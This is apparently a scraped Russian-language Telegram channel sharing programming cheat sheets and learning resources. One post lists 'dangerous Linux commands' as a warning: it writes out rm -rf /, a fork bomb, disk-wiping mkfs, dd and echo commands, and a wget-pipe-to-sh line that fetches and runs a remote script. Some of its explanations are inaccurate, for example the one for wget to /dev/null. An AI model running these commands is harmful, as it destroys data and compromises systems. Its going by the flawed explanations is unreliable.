Шпаргалки программиста
2.46K subscribers
362 photos
16 videos
114 files
151 links
Всё самое интересное по программированию

🌐 Админ @workakkk

https://t.iss.one/itchannels_telegram - список полезных ит-каналов
Download Telegram
Если шпаргалки по командам GIT, то только такие
Шпаргалка по CSS

CSSReference.io — это бесплатное визуальное руководство по CSS. Здесь собраны примеры для каждого свойства и их детальное объяснение в виде диаграмм и иллюстраций:

https://cssreference.io/

#css #веб
3 тренажёра и ресурса для начинающего программиста

1. Edabit — платформа, на которой собрано более 10,000 задач для обучения программированию. Сайт напоминает Duolingo, но для программистов.

2. Learn HTML — это интерактивный учебник, в котором пошагово объясняется, как создавать веб-сайты на HTML и CSS. Основное руководство поможет создать страницу с использованием Bootstrap, а учебные пособия помогут узнать всё, что нужно знать о HTML и CSS.

3. Scrimba — программа содержит 13 модулей с интерактивными задачами по HTML, CSS, JavaScript, React. Также доступен чат в Discord, поэтому можно познакомиться с другими учениками с разных уголков мира.

#it #советы
Механизмы безопасности: полезные шпаргалки для разработчиков

Недавно хакеры взломали «СберСпасибо» и опубликовали в сети базу, в которой содержатся несколько миллионов строк с личными данными пользователей. Кто же виноват? Слабая защита? Программисты? Код?

Сделали подборку шпаргалок в которых вы найдете, лучшие практики безопасности для разработчиков:

1. Java
2. Python
3. Go
4. Spring Boot
5. npm
6. GitHub

#java #python #go
Структуры данных и алгоритмы: топ-30

В этой статье собраны 15 наиболее полезных структур данных и 15 наиболее важных алгоритмов, которые могут помочь вам успешно пройти собеседования и улучшить свои навыки программирования. Также автор собрал материалы для их изучения и практики — задачи с LeetCode:

https://dev.to/iuliagroza/complete-introduction-to-the-30-most-essential-data-structures-algorithms-43kd

#алгоритмы
OverAPI — возможно, одна из самых полных онлайн-шпаргалок по языкам программирования и технологиям

Полезности найдут как разработчики на Python, PHP и Ruby, так и те, кого интересует Linux или Git

При этом разработчики позаботились о пользователях и создали специальное Chrome-расширение, дублирующее функционал платформы

Стоимость: #бесплатно

#web #шпаргалка
This media is not supported in your browser
VIEW IN TELEGRAM
IT GURU - для тех, кто хочет обучаться быстро, продуктивно и бесплатно

- Короткие видеокурсы по всем направлениям разработки
- Полезно-интересные статьи
- Свежие шпаргалки
- Облегчающие работу инструменты

Подписывайся и поглощай нашу пользу ❤️👇
https://t.iss.one/+2taUlZXC_P1mZjli
Node.js: шаблоны проектирования

В этой статье рассматриваются популярные паттерны: Singleton, Observer, Factory и Command. Интересно, как же они работают на реальных проектах? Для более легкого понимания темы автор также добавил сниппеты кода на TypeScript:

https://medium.com/@devhoangkien/design-patterns-in-node-js-a-fun-typescript-adventure-8bf977c2549b

#ts #nodejs
Полное руководство по CSS Grid

CSS Grid — это мощный инструмент в современной веб-разработке, который позволяет создавать динамичные макеты. Благодаря возможности определять строки и столбцы, а затем размещать в них содержимое, CSS Grid предоставляет разработчикам контроль над тем, как отображается содержимое их веб-сайта.

В этом видео автор подробно рассказывает про CSS Grid, свойства, а также как можно использовать возможности CSS Grid для создания красивых, гибких макетов:

https://youtu.be/Pqh1UhslhYA

#css
cheat-sheet-dark.pdf
7.9 MB
Краткий справочник по некоторым наиболее полезным API конфиденциальности в Android, а также рекомендации, которые следует учитывать при разработке своего приложения.

🔗Скачать в светлом режиме
Подборка из 11 опасных команд Linux, которые не стоит запускать на свою компьютере:

rm -rf / — удалит все файлы и папки на вашем компьютере. Не запускайте ее, если не хотите потерять все свои данные;

:(){ :|: & };: — команда, также известная как «fork bomb», может вызвать переполнение памяти на вашем компьютере и привести к аварийному завершению системы;

mkfs.ext4 /dev/sda — форматирует жесткий диск без какого-либо предупреждения или подтверждения. Все данные будут утеряны;

dd if=/dev/random of=/dev/sda — перезапишет все данные на жестком диске случайными значениями, что приведет к потере данных;

chmod 777 / — откроет полный доступ к вашей файловой системе для всех пользователей, что может привести к нарушению безопасности;

mv /home/* /dev/null — переместит все файлы в вашей домашней директории в «null», что означает, что они будут утеряны;

wget https://example.com/file -O /dev/null — загрузит файл и перезапишет все данные в «null», что приведет к потере данных.

mkfs.ext4 /dev/sda1 — форматирует раздел жесткого диска без какого-либо предупреждения или подтверждения. Все данные на этом разделе будут утеряны.

ln -s /dev/null /etc/passwd — создаст символическую ссылку на "/etc/passwd" в "null", что приведет к потере данных.

echo "Hello" > /dev/sda — перезапишите свой раздел, это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello»;

wget https://malicious_source -O- | sh — Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.
Подборка готовых запросов для нейронок

AI Prompt Generator – сайт сгенерирует лучший промт по вашему запросу

Stable Diffusion Prompt Generator – лучший генератор для SD

Prompthero – тонна артов с промтами

Midjourney Prompt Generator – тоже генерация промта по вашему запросу только для MJ
✍️ Крутая шпаргалка по Python, охватывает основы языка, включая типы данных, операторы, управляющие структуры, функции, классы, файловый ввод-вывод и многое другое.

С помощью этого руководства вы сможете быстро найти синтаксис и способы использования различных функций и библиотек.

#doc #python #cheatsheet
Please open Telegram to view this post
VIEW IN TELEGRAM
Ловите мощную шпаргалку по ChatGPT
MyJavaScript — полезный ресурс для начинающих фронтенд-разработчиков

На MyJavaScript собраны руководства, шпаргалки, вопросы и другие материалы по JavaScript, TypeScript, React, Next.js, Node.js, Express, Prisma, GraphQL, Docker.

Информация на сайте постоянно обновляется, поэтому вы также можете проверить все обновления и релизы в ЯП. Сохраняйте в закладки, чтобы не потерять:

https://my-js.org/

#фронтенд
Flexbox Zombies — тренажёр для изучения

Любите игры про зомби? В этой игре нужно установить арбалет и пережить атаки зомби в каждом разделе игры с помощью Flexbox. Flexbox Zombies поможет изучить основы и применить их на практике. Сейчас игра бесплатна после небольшой регистрации:

https://mastery.games/flexboxzombies/chapter/1/level/1

#css #web
git_cheatsheet.pdf
641.1 KB
Красивая шпаргалка по GIT с кодом и картинками.